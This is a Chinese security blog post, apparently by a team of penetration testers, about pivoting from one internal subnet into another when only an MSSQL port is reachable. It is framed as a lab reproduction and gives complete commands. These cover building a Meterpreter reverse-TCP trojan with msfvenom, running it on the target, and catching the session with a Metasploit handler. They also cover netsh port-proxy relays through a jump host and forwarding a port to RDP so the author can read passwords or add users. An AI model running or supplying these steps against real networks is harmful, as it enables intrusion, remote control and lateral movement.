前言

前段时间在一次内网中遇到了一个问题,当时想了很多办法,虽然最终没能解决但是也学了很多东西。

现在想想也是很愁。

情景再现

大致情况就是现在处于192的网段然后有一个172网段机器的mssql账号(可以执行命令和上传文件),并且172网段上的这台服务器只对192这台机器开放了1433端口,需要到172的网段。
一张图简单明了。

端口复用

虽然最终没能解决问题,但是也是学到了不少方法来应对相似的情况。

1、netsh

netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具,可以查看或更改本地计算机或远程计算机的网络配置。

场景1

假如,就是说假如咱们这里放开一下限制规则 172的网段依然不出网,且只对192网段开放1433端口,但是172可以访问192的网段。那这样咱们可以通过172机器反向连接192机器然后在192机器做端口转发到攻击机器上的监听端口,这里在本地复现改了一下ip 如下图:
以及修改目标机器的防火潜规则确保其他的端口无法被访问。
使用msf生成反弹马,然后将木马上传到目标机器。
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=6767 -i 3 -f exe -o o.exe
然后我们在10.211.5.10这台机器通过netsh设置端口转发将6767转发到攻击机的监听端口。
netsh interfaceportproxyaddv4tov4listenport=6767 connectport=6767 connectaddress=192.168.49.129
在攻击机上设置监听,然后在目标机器上执行木马。
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.49.129set lport 6767
攻击机器成功收到会话。

场景2

在场景1中我们的目标机器可以随意访问我们跳板机5.10的任意端口,假如我们这边开始增加限制目标机器不能随意访问跳板机器的端口,只能访问指定端口比如:80、445、1433、1521、3306、3389、6379、8080,这其中的一个或者多个端口,如下图。
和上面一样通过ms生成反向连接马以及上传到目标服务器,设置连接端口为80.
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=80 -i 3 -f exe -o o.exe
这里为了严谨依然通过防火墙设置端口限制,80可以访问到,其他端口均不能访问。
然后通过netsh设置端口转发。
netsh interfaceportproxyaddv4tov4listenport=80 connectport=6767 connectaddress=192.168.49.129
然后在目标机器上执行木马,我们通过端口连接可以看到目标机器与跳板机的80端口进行了连接且跳板机也收到连接,但是跳板机的80端口并没有转发到攻击机的监听端口,如下图。
我们攻击机也同样没有收到回话。

继续测试3306端口(只对目标机器开放3306,其他端口均禁止),步骤同上我们这边直接跳过重复步骤,直接到执行木马,然后我们可以发现msf成功的接受到了会话,如下图。
端口正常转发。
经过测试发现3306和8080可以正常的进行转发80、445、1433、3389、6379等不可转发猜测下是windows自带的一些服务可能都不支持这种情况。

场景3

我们继续增加限制条件在场景2中我们的目标机器可以访问我们跳板机5.10的个别端口,假如我们这边开始增加限制目标机器不能访问跳板机器的端口,但是我们也不是只能访问目标机器的1433,我们这次增加一个别的端口80或者3306等,如下图。
我们先讨论80端口的情况,这个就比较简单直接看是什么web服务然后上传对应的shell连接就可以了(Neo-reGeorg)。

然后是3306,我们依然可以通过netsh进行端口转发列出一个最简单的方式就是将目标机器上的3306端口转发到3389端口上。
netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5
然后我们可以读密码或者加用户,再通过跳板机去连接远程桌面这里直接连接3306端口。
经过测试这种情况下有很多端口是不可以这样转发的就比如iis开放的80端口,已经mssql的1433端口,但是像3306、8080这种端口是可以被转发的,所以实际不同情况需要多尝试(这里实验时差点把自己绕进去)。

2、工具

protoplex

这是一个协议复用的工具,比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口,这里我做了一下实验,发现该工具的监听端口不能被占用也不能是3306、1433、3389这种的特殊端口。

他可以监听10.211.55.5:4444,如果是socks5协议的流量就将流量转发给10.211.55.5:9999,如果是http流量,就将流量转发给10.211.55.5:80
protoplex_windows_amd64.exe--socks5 10.211.55.5:9999--http 10.211.55.5:80-b 10.211.55.5:4444
其他机器访问
socks5测试不理想,最终也是没能解决这个问题。
期待找到解决办法。
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
继续阅读
阅读原文